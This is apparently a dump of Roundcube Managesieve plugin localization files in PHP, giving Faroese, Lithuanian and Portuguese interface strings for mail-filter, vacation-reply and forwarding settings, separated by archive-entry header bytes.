$labels['managefilters'] = 'Umsit mótakandi teldupost filtur';
$labels['filtername'] = 'Navn á filtri';
$labels['newfilter'] = 'Nýtt filtur';
$labels['filteradd'] = 'Nýtt filtur';
$labels['filterdel'] = 'Strika filtur';
$labels['actions'] = 'Gerðir';
$labels['scope'] = 'Leita frá';
$labels['moveup'] = 'Flyt upp';
$labels['movedown'] = 'Flyt niður';
$labels['filterallof'] = 'samsvarar allar fylgjandi reglur';
$labels['filteranyof'] = 'samsvarar onkrar av fylgjandi reglum';
$labels['filterany'] = 'øll boð';
$labels['filtercontains'] = 'inniheldur';
$labels['filternotcontains'] = 'inniheldur ikki';
$labels['filteris'] = 'er tað sama sum';
$labels['filterisnot'] = 'er ikki tað sama sum';
$labels['filterexists'] = 'er til';
$labels['filternotexists'] = 'er ikki til';
$labels['filtermatches'] = 'samsvarar við orðafelli';
$labels['filternotmatches'] = 'Samsvarar ikki við orðafelli';
$labels['filterregex'] = 'Samsvarar við "regular expression"';
$labels['filternotregex'] = 'Samsvarar ikki við "regular expression"';
$labels['filterunder'] = 'undur';
$labels['filterover'] = 'yvir';
$labels['addrule'] = 'Stovna regul';
$labels['delrule'] = 'Strika regul';
$labels['messagemoveto'] = 'Flyt boð til';
$labels['messageredirect'] = 'Leið boð til';
$labels['messagecopyto'] = 'Tvítak boð til';
$labels['messagesendcopy'] = 'Send boð avrit til';
$labels['messagereply'] = 'Svara við boðum';
$labels['messagedelete'] = 'Strika boð';
$labels['messagediscard'] = 'Strika boð við boðum';
$labels['messagekeep'] = 'Goym boð í postkassa';
$labels['messagesrules'] = 'Fyri móttiknan post:';
$labels['messagesactions'] = '...koyr fylgjandi gerðir';
$labels['add'] = 'Legg aftrat';
$labels['del'] = 'Strika';
$labels['sender'] = 'Avsendari';
$labels['recipient'] = 'Móttakari';
$labels['vacationaddr'] = 'Mínir teldupost bústaðir:';
$labels['vacationdays'] = 'Hvussu ofta skal sendast (í døgum):';
$labels['vacationinterval'] = 'Hvussu ofta skulu boðini sendast:';
$labels['vacationreason'] = 'Boð innihald (feriu orsøk):';
$labels['vacationfrom'] = 'Svara sendara bústaði:';
$labels['vacationsubject'] = 'Evni á boðum:';
$labels['days'] = 'dagar';
$labels['seconds'] = 'sekund';
$labels['rulestop'] = 'Steðga við at eftirmeta reglur';
$labels['enable'] = 'Tendra/Sløkk';
$labels['filtersets'] = 'Sílu sett';
$labels['filterdef'] = 'Sílu avmarking ';
$labels['active'] = 'tendra';
$labels['none'] = 'einki';
$labels['fromset'] = 'frá sett';
$labels['fromfile'] = 'frá fílu';
$labels['filterdisabled'] = 'Síla óvirkin';
$labels['countisgreaterthan'] = 'talið er hægri enn';
$labels['countisgreaterthanequal'] = 'talið er stórri ella tað sama sum';
$labels['countislessthan'] = 'talið er minni enn';
$labels['countislessthanequal'] = 'talið er minni enn ella tað sama sum';
$labels['countequals'] = 'talið er tað sama sum';
$labels['countnotequals'] = 'talið er ikki tað sama sum';
$labels['valueisgreaterthan'] = 'virði er hægri enn';
$labels['valueisgreaterthanequal'] = 'virði er hægri enn ella tað sama sum';
$labels['valueislessthan'] = 'virði er minnni enn';
$labels['valueislessthanequal'] = 'virði er minni enn ella tað sama sum';
$labels['valueequals'] = 'virði er tað sama sum';
$labels['valuenotequals'] = 'virði er ikki tað sama sum';
$labels['setflags'] = 'Set mørk á boðini';
$labels['addflags'] = 'Legg mørk á boðini';
$labels['removeflags'] = 'Strika mørk frá boðunum';
$labels['flagread'] = 'Les';
$labels['flagdeleted'] = 'Strika';
$labels['flaganswered'] = 'Svara';
$labels['flagflagged'] = 'Markera';
$labels['flagdraft'] = 'Kladda';
$labels['setvariable'] = 'Set variabu';
$labels['setvarname'] = 'Navn á variabli';
$labels['setvarvalue'] = 'Virði á variabli';
$labels['setvarmodifiers'] = 'Avmarkari:';
$labels['varlower'] = 'við lítlum';
$labels['varupper'] = 'við stórum';
$labels['varlowerfirst'] = 'fyrsti bókstavur við lítlum';
$labels['varupperfirst'] = 'fyrsti bókstavur við stórum';
$labels['varquotewildcard'] = 'kvota fyri serlig tekin';
$labels['varlength'] = 'longd';
$labels['notify'] = 'send kunngerð';
$labels['notifytarget'] = 'Kunngerð mál:';
$labels['notifymessage'] = 'Boð í kunngerð (ikki oblikatorist):';
$labels['notifyoptions'] = 'Kunngerðis møguleikar (valmøguligt):';
$labels['notifyfrom'] = 'Sendari av kunngerð (valfríur):';
$labels['notifyimportance'] = 'Týdningur:';
$labels['notifyimportancelow'] = 'lágt';
$labels['notifyimportancenormal'] = 'vanligt';
$labels['notifyimportancehigh'] = 'høgt';
$labels['notifymethodmailto'] = 'Teldupost';
$labels['notifymethodtel'] = 'Telefon';
$labels['notifymethodsms'] = 'SMS';
$labels['filtercreate'] = 'Stovna sílu';
$labels['usedata'] = 'Brúka fylgjandi dátu í sílu';
$labels['nextstep'] = 'Næsta stig';
$labels['...'] = '...';
$labels['currdate'] = 'dagsins dato';
$labels['datetest'] = 'Dato';
$labels['dateheader'] = 'Teksthøvd ';
$labels['year'] = 'ár';
$labels['month'] = 'mánið';
$labels['day'] = 'dagur';
$labels['date'] = 'dato (yyyy-mm-dd)';
$labels['julian'] = 'dato (julianskur)';
$labels['hour'] = 'tími';
$labels['minute'] = 'minuttur';
$labels['second'] = 'sekund';
$labels['time'] = 'klokkan (tt:mm:ss)';
$labels['iso8601'] = 'dato (ISO8601)';
$labels['std11'] = 'dato (RFC2822)';
$labels['zone'] = 'tíðarøki';
$labels['weekday'] = 'vikudagur (0-6)';
$labels['advancedopts'] = 'Víðkaðir valmøguleikar';
$labels['body'] = 'Innihald';
$labels['address'] = 'Bústaður';
$labels['envelope'] = 'brævbjálvi ';
$labels['modifier'] = 'Broytari:';
$labels['text'] = 'tekstur';
$labels['undecoded'] = 'umskriva (raw)';
$labels['contenttype'] = 'innihalds slag';
$labels['modtype'] = 'slag:';
$labels['allparts'] = 'alt';
$labels['domain'] = 'økisnavn';
$labels['localpart'] = 'heima partur';
$labels['user'] = 'brúkari';
$labels['detail'] = 'detaljur';
$labels['comparator'] = 'Comparator:';
$labels['default'] = 'vanligt';
$labels['octet'] = 'strangt (octet)';
$labels['asciicasemap'] = 'stavbundin (asciii-casemap)';
$labels['asciinumeric'] = 'tøl (ascii-numeric)';
$labels['index'] = 'skrá:';
$labels['indexlast'] = 'aftureftir';
$labels['spamtestequals'] = 'er tað sama sum';
$labels['spamtestnotequals'] = 'er ikki tað sama sum';
$labels['vacation.reply'] = 'Svar innihald';
$labels['vacation.advanced'] = 'Víðkaðir valmøguleikar';
$labels['vacation.from'] = 'Svara sendara bústaði';
$labels['vacation.subject'] = 'Evni';
$labels['vacation.body'] = 'Innihald';
$labels['vacation.status'] = 'Støða';
$labels['vacation.on'] = 'Tendra';
$labels['vacation.off'] = 'Sløkt';
$labels['vacation.addresses'] = 'Mín teldupost bústaður';
$labels['vacation.interval'] = 'Svar millumbil';
$labels['vacation.saving'] = 'Goymur dáta...';
$labels['vacation.action'] = 'Ger fyri móttikin boð';
$labels['vacation.keep'] = 'Goym';
$labels['vacation.discard'] = 'Strika';
$labels['vacation.redirect'] = 'Leið ti';
$labels['vacation.copy'] = 'Send avrit ti';
$labels['forward.redirect'] = 'Leið ti';
$labels['forward.copy'] = 'Send avrit ti';
$labels['forward.on'] = 'Tendra';
$labels['forward.off'] = 'Sløkt';
$labels['forward.saving'] = 'Goymur dáta...';
$labels['filladdresses'] = 'Fyll við øllum mínum bústaðum';
$labels['arialabelfiltersetactions'] = 'Sílu sett gerðir';
$labels['arialabelfilteractions'] = 'Sílu gerðir';
$labels['arialabelfilterform'] = 'Sílu skilvísi';
$labels['ariasummaryfilterslist'] = 'Listi yvir sílur';
$labels['ariasummaryfiltersetslist'] = 'Skrá av sílu sett';
$labels['filterstitle'] = 'Broyt mótakandi sílur fyri móttiknan post';
$labels['vacationtitle'] = 'Broyt out-of-office regul';
$labels['duplicate.header'] = 'Teksthøvd ';
$messages['filterunknownerror'] = 'Ókendur ambætara feilur';
$messages['filterconnerror'] = 'Einki samband við ambætara.';
$messages['filterdeleteerror'] = 'Tað bar ikki til at strika sílu. Ambætara feilur kom fyri';
$messages['filterdeleted'] = 'Sílan var strika';
$messages['filtersaved'] = 'Sílan var goymd';
$messages['filtersaveerror'] = 'Tað ber ikki til at goyma valdu sílur. Ambætara feilur kom fyri.';
$messages['filterdeleteconfirm'] = 'Ert tú vísur í at tú vilt strika valdu sílu?';
$messages['ruledeleteconfirm'] = 'Ert tú vísur í, at tú vilt strika valda regul?';
$messages['actiondeleteconfirm'] = 'Ert tú vísur í, at tú vilt strika valdu gerð?';
$messages['forbiddenchars'] = 'Óloyvd tekin í feltinum.';
$messages['cannotbeempty'] = 'Felt kann ikki verða tómt';
$messages['ruleexist'] = 'Síla við givna navni er longu til';
$messages['activateerror'] = 'Tað ber ikki til at tendra valdu sílur. Ambætara feilur kom fyri.';
$messages['deactivateerror'] = 'Tað ber ikki til at sløkkja valdu sílur. Ambætara feilur kom fyri.';
$messages['deactivated'] = 'Filtur sløkt';
$messages['activated'] = 'Filtur tendra.';
$messages['moved'] = 'Síla flutt.';
$messages['moveerror'] = 'Tað ber ikki til at flyta valdu sílur. Ambætara feilur kom fyri.';
$messages['nametoolong'] = 'Navni er ov langt';
$messages['namereserved'] = 'Reservera navn.';
$messages['setexist'] = 'Sett er longu til';
$messages['nodata'] = 'Minst eitt stað má verða valt!';
$messages['invaliddateformat'] = 'Ógildugt dato ella formulering av dato';
$messages['saveerror'] = 'Tað bar ikki til at goyma dáta. Ambætara feilur kom fyri.';
$messages['emptyvacationbody'] = 'Innihaldi í feriu boðinum er kraft!';
PKh�\)�a�`9`9*plugins/managesieve/localization/lt_LT.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Managesieve plugin         |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-managesieve/
*/


$labels['filters'] = 'Filtrai';
$labels['managefilters'] = 'Tvarkyti gaunamų laiškų filtrus';
$labels['filtername'] = 'Filtro pavadinimas';
$labels['newfilter'] = 'Naujas filtras';
$labels['filteradd'] = 'Pridėti filtrą';
$labels['filterdel'] = 'Pašalinti filtrą';
$labels['rules'] = 'Taisyklės';
$labels['actions'] = 'Veiksmai';
$labels['scope'] = 'Sritis';
$labels['moveup'] = 'Pakelti aukštyn';
$labels['movedown'] = 'Nuleisti žemyn';
$labels['filterallof'] = 'atitinka visas šias taisykles';
$labels['filteranyof'] = 'atitinka bet kurią šių taisyklių';
$labels['filterany'] = 'visi laiškai';
$labels['filtercontains'] = 'savyje turi';
$labels['filternotcontains'] = 'savyje neturi';
$labels['filteris'] = 'yra lygus';
$labels['filterisnot'] = 'nėra lygus';
$labels['filterexists'] = 'egzistuoja';
$labels['filternotexists'] = 'neegzistuoja';
$labels['filtermatches'] = 'atitinka šabloną';
$labels['filternotmatches'] = 'neatitinka šablono';
$labels['filterregex'] = 'atitinka reguliarųjį reiškinį';
$labels['filternotregex'] = 'neatitinka reguliariojo reiškinio';
$labels['filterunder'] = 'nesiekia';
$labels['filterover'] = 'viršija';
$labels['mime'] = 'MIME:';
$labels['mimepart'] = 'MIME dalis:';
$labels['mime-message'] = 'laiškas';
$labels['mime-anychild'] = 'bet kokia';
$labels['mime-type'] = 'tipas';
$labels['mime-subtype'] = 'potipis';
$labels['mime-contenttype'] = 'turinio tipas';
$labels['mime-param'] = 'parametras';
$labels['addrule'] = 'Pridėti taisyklę';
$labels['delrule'] = 'Pašalinti taisyklę';
$labels['messagemoveto'] = 'Perkelti laišką į';
$labels['messageredirect'] = 'Peradresuoti laišką';
$labels['messagecopyto'] = 'Kopijuoti laišką į';
$labels['messagesendcopy'] = 'Nusiųsti laiško kopiją';
$labels['messagereply'] = 'Atsakyti laišku';
$labels['messagedelete'] = 'Pašalinti laišką';
$labels['messagediscard'] = 'Panaikinti su laišku';
$labels['messagekeep'] = 'Palikti laišką gautųjų aplanke';
$labels['messagesrules'] = 'Gaunamiems laiškams:';
$labels['messagesactions'] = '…vykdyti šiuos veiksmus:';
$labels['add'] = 'Pridėti';
$labels['del'] = 'Pašalinti';
$labels['sender'] = 'Siuntėjas';
$labels['recipient'] = 'Gavėjas';
$labels['vacationaddr'] = 'Mano el. pašto adresai:';
$labels['vacationdays'] = 'Kaip dažnai išsiųsti laiškus (dienomis):';
$labels['vacationinterval'] = 'Kaip dažnai siųsti laiškus:';
$labels['vacationreason'] = 'Laiško tekstas';
$labels['vacationfrom'] = 'Atsakymo siuntėjo adresas:';
$labels['vacationsubject'] = 'Laiško tema:';
$labels['days'] = 'd.';
$labels['seconds'] = 'sek.';
$labels['rulestop'] = 'Nutraukti taisyklių vykdymą';
$labels['enable'] = 'Įjungti / išjungti';
$labels['filterset'] = 'Filtrų rinkinys';
$labels['filtersets'] = 'Filtrų rinkiniai';
$labels['filtersetadd'] = 'Pridėti filtrų rinkinį';
$labels['filtersetdel'] = 'Ištrinti filtrų rinkinį';
$labels['filtersetact'] = 'Aktyvuoti dabartinį filtrų rinkinį';
$labels['filtersetdeact'] = 'Pasyvinti dabartinį filtrų rinkinį';
$labels['filterseteditraw'] = 'Taisyti filtrų rinkinį';
$labels['filtersetswitch'] = 'Įjungti/išjungti filtrų rinkinį';
$labels['filterdef'] = 'Filtro aprašas';
$labels['filtersetname'] = 'Filtrų rinkinio pavadinimas';
$labels['newfilterset'] = 'Naujas filtrų rinkinys';
$labels['active'] = 'aktyvus';
$labels['none'] = 'joks';
$labels['fromset'] = 'iš rinkinio';
$labels['fromfile'] = 'iš failo';
$labels['filterdisabled'] = 'Filtras išjungtas';
$labels['filterenabled'] = 'Filtras įjungtas';
$labels['countisgreaterthan'] = 'kiekis didesnis nei';
$labels['countisgreaterthanequal'] = 'kiekis didesnis arba lygus';
$labels['countislessthan'] = 'kiekis mažesnis nei';
$labels['countislessthanequal'] = 'kiekis mažesnis arba lygus';
$labels['countequals'] = 'kiekis lygus';
$labels['countnotequals'] = 'kiekis nėra lygus';
$labels['valueisgreaterthan'] = 'reikšmė didesnė nei';
$labels['valueisgreaterthanequal'] = 'reikšmė didesnė arba lygi';
$labels['valueislessthan'] = 'reikšmė mažesnė nei';
$labels['valueislessthanequal'] = 'reikšmė mažesnė arba lygi';
$labels['valueequals'] = 'reikšmė lygi';
$labels['valuenotequals'] = 'reikšmė nėra lygi';
$labels['setflags'] = 'Nustatyti laiško požymius';
$labels['addflags'] = 'Pridėti laiško požymius';
$labels['removeflags'] = 'Pašalinti laiško požymius';
$labels['flagread'] = 'Skaitytas';
$labels['flagdeleted'] = 'Pašalintas';
$labels['flaganswered'] = 'Atsakytas';
$labels['flagflagged'] = 'Pažymėtas gairele';
$labels['flagdraft'] = 'Juodraštis';
$labels['addheader'] = 'Pridėti antraštę į laišką';
$labels['deleteheader'] = 'Šalinti antraštę iš laiško';
$labels['headername'] = 'Antraštės pavadinimas';
$labels['headervalue'] = 'Antraštės reikšmė';
$labels['headerpos'] = 'Antraštės vieta';
$labels['headeratstart'] = 'pradžioje';
$labels['headeratend'] = 'pabaigoje';
$labels['headeroccurrence'] = 'Antraštės atsiradimas/vieta';
$labels['headerfromstart'] = 'nuo pradžios';
$labels['headerfromend'] = 'nuo pabaigos';
$labels['headerpatterns'] = 'Antraštės reikšmės šablonai';
$labels['headermatchtype'] = 'atitikimo tipas:';
$labels['setvariable'] = 'Nustatyti kintamąjį';
$labels['setvarname'] = 'Kintamojo vardas:';
$labels['setvarvalue'] = 'Kintamojo vertė:';
$labels['setvarmodifiers'] = 'Modifikatoriai:';
$labels['varlower'] = 'mažosios raidės';
$labels['varupper'] = 'didžiosios raidės';
$labels['varlowerfirst'] = 'pirmoji raidė mažoji';
$labels['varupperfirst'] = 'pirmoji raidė didžioji';
$labels['varquotewildcard'] = 'cituoti specialius simbolius';
$labels['varlength'] = 'ilgis';
$labels['notify'] = 'Siųsti priminimą';
$labels['notifytarget'] = 'Priminimo gavėjas:';
$labels['notifymessage'] = 'Priminimo laiškas (nebūtina):';
$labels['notifyoptions'] = 'Priminimo nustatymai (nebūtina):';
$labels['notifyfrom'] = 'Priminimo siuntėjas (nebūtina):';
$labels['notifyimportance'] = 'Svarbumas';
$labels['notifyimportancelow'] = 'žemas';
$labels['notifyimportancenormal'] = 'normalus';
$labels['notifyimportancehigh'] = 'aukštas';
$labels['notifymethodmailto'] = 'El. paštas';
$labels['notifymethodtel'] = 'Telefono numeris';
$labels['notifymethodsms'] = 'SMS';
$labels['filtercreate'] = 'Kurti filtrą';
$labels['usedata'] = 'Filtrui naudoti šiuos duomenis:';
$labels['nextstep'] = 'Kitas žingsnis';
$labels['...'] = '…';
$labels['string'] = 'Eilutė';
$labels['currdate'] = 'Šiandienos data';
$labels['datetest'] = 'Data';
$labels['dateheader'] = 'antraštė:';
$labels['year'] = 'metai';
$labels['month'] = 'mėnuo';
$labels['day'] = 'diena';
$labels['date'] = 'data (yyyy-mm-dd)';
$labels['julian'] = 'data (Julijaus)';
$labels['hour'] = 'valanda';
$labels['minute'] = 'minutė';
$labels['second'] = 'sekundė';
$labels['time'] = 'laikas (hh:mm:ss)';
$labels['iso8601'] = 'data (ISO8601)';
$labels['std11'] = 'data (RFC2822)';
$labels['zone'] = 'laiko-zona';
$labels['weekday'] = 'savaitės diena (0-6)';
$labels['advancedopts'] = 'Papildomi nustatymai';
$labels['body'] = 'Laiško tekstas';
$labels['address'] = 'adresas';
$labels['envelope'] = 'vokas';
$labels['modifier'] = 'midifikatorius:';
$labels['text'] = 'tekstas';
$labels['undecoded'] = 'neiškoduotas (pirminis) tekstas';
$labels['contenttype'] = 'turinio tipas';
$labels['modtype'] = 'tipas:';
$labels['allparts'] = 'visi';
$labels['domain'] = 'sritis';
$labels['localpart'] = 'vietinė adreso dalis';
$labels['user'] = 'naudotojas';
$labels['detail'] = 'detalė';
$labels['comparator'] = 'palyginimo algoritmas:';
$labels['default'] = 'numatytasis';
$labels['octet'] = 'griežtas („octet“)';
$labels['asciicasemap'] = 'nepaisantis raidžių registro („ascii-casemap“)';
$labels['asciinumeric'] = 'skaitinis („ascii-numeric“)';
$labels['index'] = 'turinys:';
$labels['indexlast'] = 'atbulai';
$labels['spamtest'] = 'Brukalo lygis';
$labels['spamtestisgreaterthan'] = 'yra didesnis nei';
$labels['spamtestisgreaterthanequal'] = 'yra didesnis nei arba lygus';
$labels['spamtestislessthan'] = 'yra mažesnis nei';
$labels['spamtestislessthanequal'] = 'yra mažesnis nei arba lygus';
$labels['spamtestequals'] = 'yra lygus';
$labels['spamtestnotequals'] = 'nėra lygus';
$labels['spamtestisunknown'] = 'yra nežinomas';
$labels['vacation'] = 'Ne biure';
$labels['vacation.reply'] = 'Atsakyti laišku';
$labels['vacation.advanced'] = 'Papildomos nuostatos';
$labels['vacation.from'] = 'Atsakymo siuntėjo adresas';
$labels['vacation.subject'] = 'Tema';
$labels['vacation.body'] = 'Laiško tekstas';
$labels['vacation.start'] = 'Pradžios laikas';
$labels['vacation.end'] = 'Pabaigos laikas';
$labels['vacation.status'] = 'Būsena';
$labels['vacation.on'] = 'Įjungta';
$labels['vacation.off'] = 'Išjungta';
$labels['vacation.addresses'] = 'Mano el. pašto adresai';
$labels['vacation.interval'] = 'Atsakymo intervalas';
$labels['vacation.after'] = 'Išdėstyti ne-biure taisyklę po';
$labels['vacation.saving'] = 'Išsaugomi duomenys...';
$labels['vacation.action'] = 'Veiksmas su gaunamais laiškais';
$labels['vacation.keep'] = 'Palikti';
$labels['vacation.discard'] = 'Panaikinti';
$labels['vacation.redirect'] = 'Peradresuoti kam';
$labels['vacation.copy'] = 'Siųsti kopiją kam';
$labels['forward'] = 'Persiuntimas';
$labels['forward.redirect'] = 'Peradresuoti kam';
$labels['forward.copy'] = 'Siųsti kopiją kam';
$labels['forward.on'] = 'Įjungta';
$labels['forward.off'] = 'Išjungta';
$labels['forward.status'] = 'Būsena:';
$labels['forward.action'] = 'Gaunamiems laiškams vykdyti šį veiksmą:';
$labels['forward.saving'] = 'Išsaugomi duomenys...';
$labels['filladdresses'] = 'Įterpti visus mano el. pašto adresus';
$labels['arialabelfiltersetactions'] = 'Filtrų rinkinio veiksmai';
$labels['arialabelfilteractions'] = 'Filtro veiksmai';
$labels['arialabelfilterform'] = 'Filtro nustatymai';
$labels['ariasummaryfilterslist'] = 'Filtrų sąrašas';
$labels['ariasummaryfiltersetslist'] = 'Filtrų rinkinių sąrašas';
$labels['filterstitle'] = 'Tvarkyti gaunamų laiškų filtrus';
$labels['vacationtitle'] = 'Redaguoti ne-biure taisyklę';
$labels['forwardtitle'] = 'Taisyti laiškų persiuntimo taisyklę';
$labels['message'] = 'Laiškas';
$labels['duplicate'] = 'yra dubliuojamas';
$labels['notduplicate'] = 'nėra dubliuojamas';
$labels['duplicate.handle'] = 'doroklė:';
$labels['duplicate.header'] = 'antraštė:';
$labels['duplicate.uniqueid'] = 'identifikatorius:';
$labels['duplicate.seconds'] = 'laiko limitas (sekundžių):';
$labels['duplicate.last'] = 'santykinai paskutinio vykdymo';
$messages['filterunknownerror'] = 'Nežinoma serverio klaida.';
$messages['filterconnerror'] = 'Neįmanoma užmegzti ryšio su serveriu.';
$messages['filterdeleteerror'] = 'Nepavyksta ištrinti filtro. Įvyko serverio klaida.';
$messages['filterdeleted'] = 'Filtras panaikintas sėkmingai.';
$messages['filtersaved'] = 'Filtras sėkmingai išsaugotas';
$messages['filtersaveerror'] = 'Nepavyksta išsaugoti filtro. Įvyko serverio klaida.';
$messages['filterformerror'] = 'Filtrų formoje yra klaidų.';
$messages['filterdeleteconfirm'] = 'Ar jūs esate įsitikinęs, jog norite panaikinti pasirinktus filtrus(-ą)?';
$messages['ruledeleteconfirm'] = 'Ar jūs įsitikinęs, jog norite panaikinti pasirinktą taisyklę?';
$messages['actiondeleteconfirm'] = 'Ar jūs įsitikinęs, jog norite panaikinti pasirinktą veiksmą?';
$messages['forbiddenchars'] = 'Laukelyje yra draudžiamų simbolių.';
$messages['cannotbeempty'] = 'Laukelis negali būti tuščias';
$messages['ruleexist'] = 'Filtras tokiu vardu jau yra.';
$messages['setactivateerror'] = 'Nepavyko aktyvuoti pasirinkto filtrų rinkinio. Įvyko serverio klaida.';
$messages['setdeactivateerror'] = 'Nepavyko pasyvinti pasirinkto filtrų rinkinio. Įvyko serverio klaida.';
$messages['setdeleteerror'] = 'Nepavyko ištrinti pasirinkto filtrų rinkinio. Įvyko serverio klaida.';
$messages['setactivated'] = 'Filtrų rinkinys sėkmingai aktyvuotas.';
$messages['setdeactivated'] = 'Filtrų rinkinys sėkmingai pasyvintas.';
$messages['setdeleted'] = 'Filtrų rinkinys sėkmingai ištrintas.';
$messages['setupdated'] = 'Filtrų rinkinys sėkmingai atnaujintas.';
$messages['setdeleteconfirm'] = 'Ar tikrai norite ištrinti pasirinktą filtrų rinkinį?';
$messages['setcreateerror'] = 'Nepavyko sukurti filtrų rinkinio. Įvyko serverio klaida.';
$messages['setcreated'] = 'Filtrų rinkinys sėkmingai sukurtas.';
$messages['activateerror'] = 'Neįmanoma įjungti pasirinktų filtrų(-o). Įvyko serverio klaida.';
$messages['deactivateerror'] = 'Neįmanoma išjungti pasirinktų filtrų(-o). Įvyko serverio klaida.';
$messages['deactivated'] = 'Filtras(-as) sėkmingai išjungti.';
$messages['activated'] = 'Filtras(-as) sėkmingai įjungti.';
$messages['moved'] = 'Filtrai perkelti sėkmingai.';
$messages['moveerror'] = 'Pasirinkto filtro perkelti neįmanoma. Įvyko serverio klaida.';
$messages['nametoolong'] = 'Vardas per ilgas.';
$messages['namereserved'] = 'Rezervuotas vardas.';
$messages['setexist'] = 'Rinkinys jau yra sukurtas.';
$messages['nodata'] = 'Būtina pasirinkti bent vieną poziciją!';
$messages['invaliddateformat'] = 'Neteisingas datos ar jos dalies formatas';
$messages['saveerror'] = 'Nepavyksta išsaugoti duomenų. Įvyko serverio klaida.';
$messages['vacationsaved'] = 'Ne-biure duomenys sėkmingai įrašyti.';
$messages['forwardsaved'] = 'Persiuntimo duomenys sėkmingai įrašyti.';
$messages['emptyvacationbody'] = 'Atostogų pranešimui turinys būtinas!';
$messages['duplicate.conflict.err'] = 'Naudojimas antraštės ir identifikatoriaus kartu yra draudžiamas, negalimas.';
$messages['disabledaction'] = 'Veiksmas neleistinas.';
$messages['lastindexempty'] = 'Skaičiuojant nuo pabaigos yra reikalingas turinys';
$messages['noflagset'] = 'Privalo būti pasirinktas bent vienas požymis.';
PKh�\���og:g:*plugins/managesieve/localization/pt_PT.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Managesieve plugin         |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-managesieve/
*/


$labels['filters'] = 'Filtros';
$labels['managefilters'] = 'Gerir filtros';
$labels['filtername'] = 'Nome do filtro';
$labels['newfilter'] = 'Novo filtro';
$labels['filteradd'] = 'Adicionar filtro';
$labels['filterdel'] = 'Eliminar filtro';
$labels['rules'] = 'Regras';
$labels['actions'] = 'Ações';
$labels['scope'] = 'Âmbito';
$labels['moveup'] = 'Mover para cima';
$labels['movedown'] = 'Mover para baixo';
$labels['filterallof'] = 'corresponde a todas as seguintes regras';
$labels['filteranyof'] = 'corresponde a uma das seguintes regras';
$labels['filterany'] = 'todas as mensagens';
$labels['filtercontains'] = 'contém';
$labels['filternotcontains'] = 'não contém';
$labels['filteris'] = 'é igual a';
$labels['filterisnot'] = 'é diferente de';
$labels['filterexists'] = 'existe';
$labels['filternotexists'] = 'não existe';
$labels['filtermatches'] = 'expressão corresponde';
$labels['filternotmatches'] = 'expressão não corresponde';
$labels['filterregex'] = 'corresponde à expressão';
$labels['filternotregex'] = 'não corresponde à expressão';
$labels['filterunder'] = 'é inferior a';
$labels['filterover'] = 'é superior a';
$labels['mime'] = 'MIME:';
$labels['mimepart'] = 'Parte MIME:';
$labels['mime-message'] = 'mensagem';
$labels['mime-anychild'] = 'qualquer';
$labels['mime-type'] = 'tipo';
$labels['mime-subtype'] = 'subtipo';
$labels['mime-contenttype'] = 'tipo de conteúdo';
$labels['mime-param'] = 'parâmetro';
$labels['addrule'] = 'Adicionar regra';
$labels['delrule'] = 'Eliminar regra';
$labels['messagemoveto'] = 'Mover mensagem para';
$labels['messageredirect'] = 'Redirecionar mensagem para';
$labels['messagecopyto'] = 'Copiar mensagem para';
$labels['messagesendcopy'] = 'Enviar cópia da mensagem para';
$labels['messagereply'] = 'Responder com a mensagem';
$labels['messagedelete'] = 'Eliminar mensagem';
$labels['messagediscard'] = 'Rejeitar mensagem';
$labels['messagekeep'] = 'Manter mensagem na Caixa de entrada';
$labels['messagesrules'] = 'Regras para Filtros';
$labels['messagesactions'] = 'Acções para Filtros';
$labels['add'] = 'Adicionar';
$labels['del'] = 'Eliminar';
$labels['sender'] = 'Remetente';
$labels['recipient'] = 'Destinatário';
$labels['vacationaddr'] = 'Os meus endereços de email:';
$labels['vacationdays'] = 'Enviar mensagens com que frequência (em dias):';
$labels['vacationinterval'] = 'Com que frequência envia mensagens:';
$labels['vacationreason'] = 'Conteúdo da mensagem (motivo da ausência):';
$labels['vacationfrom'] = 'Endereço de resposta do remetente:';
$labels['vacationsubject'] = 'Assunto da mensagem:';
$labels['days'] = 'dias';
$labels['seconds'] = 'segundos';
$labels['rulestop'] = 'Parar de avaliar regras';
$labels['enable'] = 'Activar/Desactivar';
$labels['filterset'] = 'Conjunto de filtros';
$labels['filtersets'] = 'Filtros definidos';
$labels['filtersetadd'] = 'Adicionar conjunto de filtros';
$labels['filtersetdel'] = 'Eliminar conjunto de filtros';
$labels['filtersetact'] = 'Ativar conjunto de filtros atuais';
$labels['filtersetdeact'] = 'Desativar conjunto de filtros atuais';
$labels['filterseteditraw'] = 'Editar conjunto de filtros';
$labels['filtersetswitch'] = 'Ativar/desativar conjunto de filtros';
$labels['filterdef'] = 'Definição de filtros';
$labels['filtersetname'] = 'Nome do conjunto de filtros';
$labels['newfilterset'] = 'Novo conjunto de filtros';
$labels['active'] = 'ativo';
$labels['none'] = 'nehnum';
$labels['fromset'] = 'a partir do conjunto';
$labels['fromfile'] = 'a partir do ficheiro';
$labels['filterdisabled'] = 'Filtro desactivado';
$labels['filterenabled'] = 'Filtro activado';
$labels['countisgreaterthan'] = 'contagem é maior que';
$labels['countisgreaterthanequal'] = 'contagem é maior ou igual a';
$labels['countislessthan'] = 'contagem é menor que';
$labels['countislessthanequal'] = 'contagem é menor ou igual a';
$labels['countequals'] = 'contagem é igual a';
$labels['countnotequals'] = 'a contagem não é igual a';
$labels['valueisgreaterthan'] = 'valor é maior que';
$labels['valueisgreaterthanequal'] = 'valor é maior ou igual a';
$labels['valueislessthan'] = 'valor é menor que';
$labels['valueislessthanequal'] = 'valor é menor ou igual a';
$labels['valueequals'] = 'valor é igual a';
$labels['valuenotequals'] = 'o valor não é igual a';
$labels['setflags'] = 'Definir sinalizadores para a mensagem';
$labels['addflags'] = 'Adicionar sinalizadores à mensagem';
$labels['removeflags'] = 'Eliminar sinalizadores da mensagem';
$labels['flagread'] = 'Lida';
$labels['flagdeleted'] = 'Eliminada';
$labels['flaganswered'] = 'Respondida';
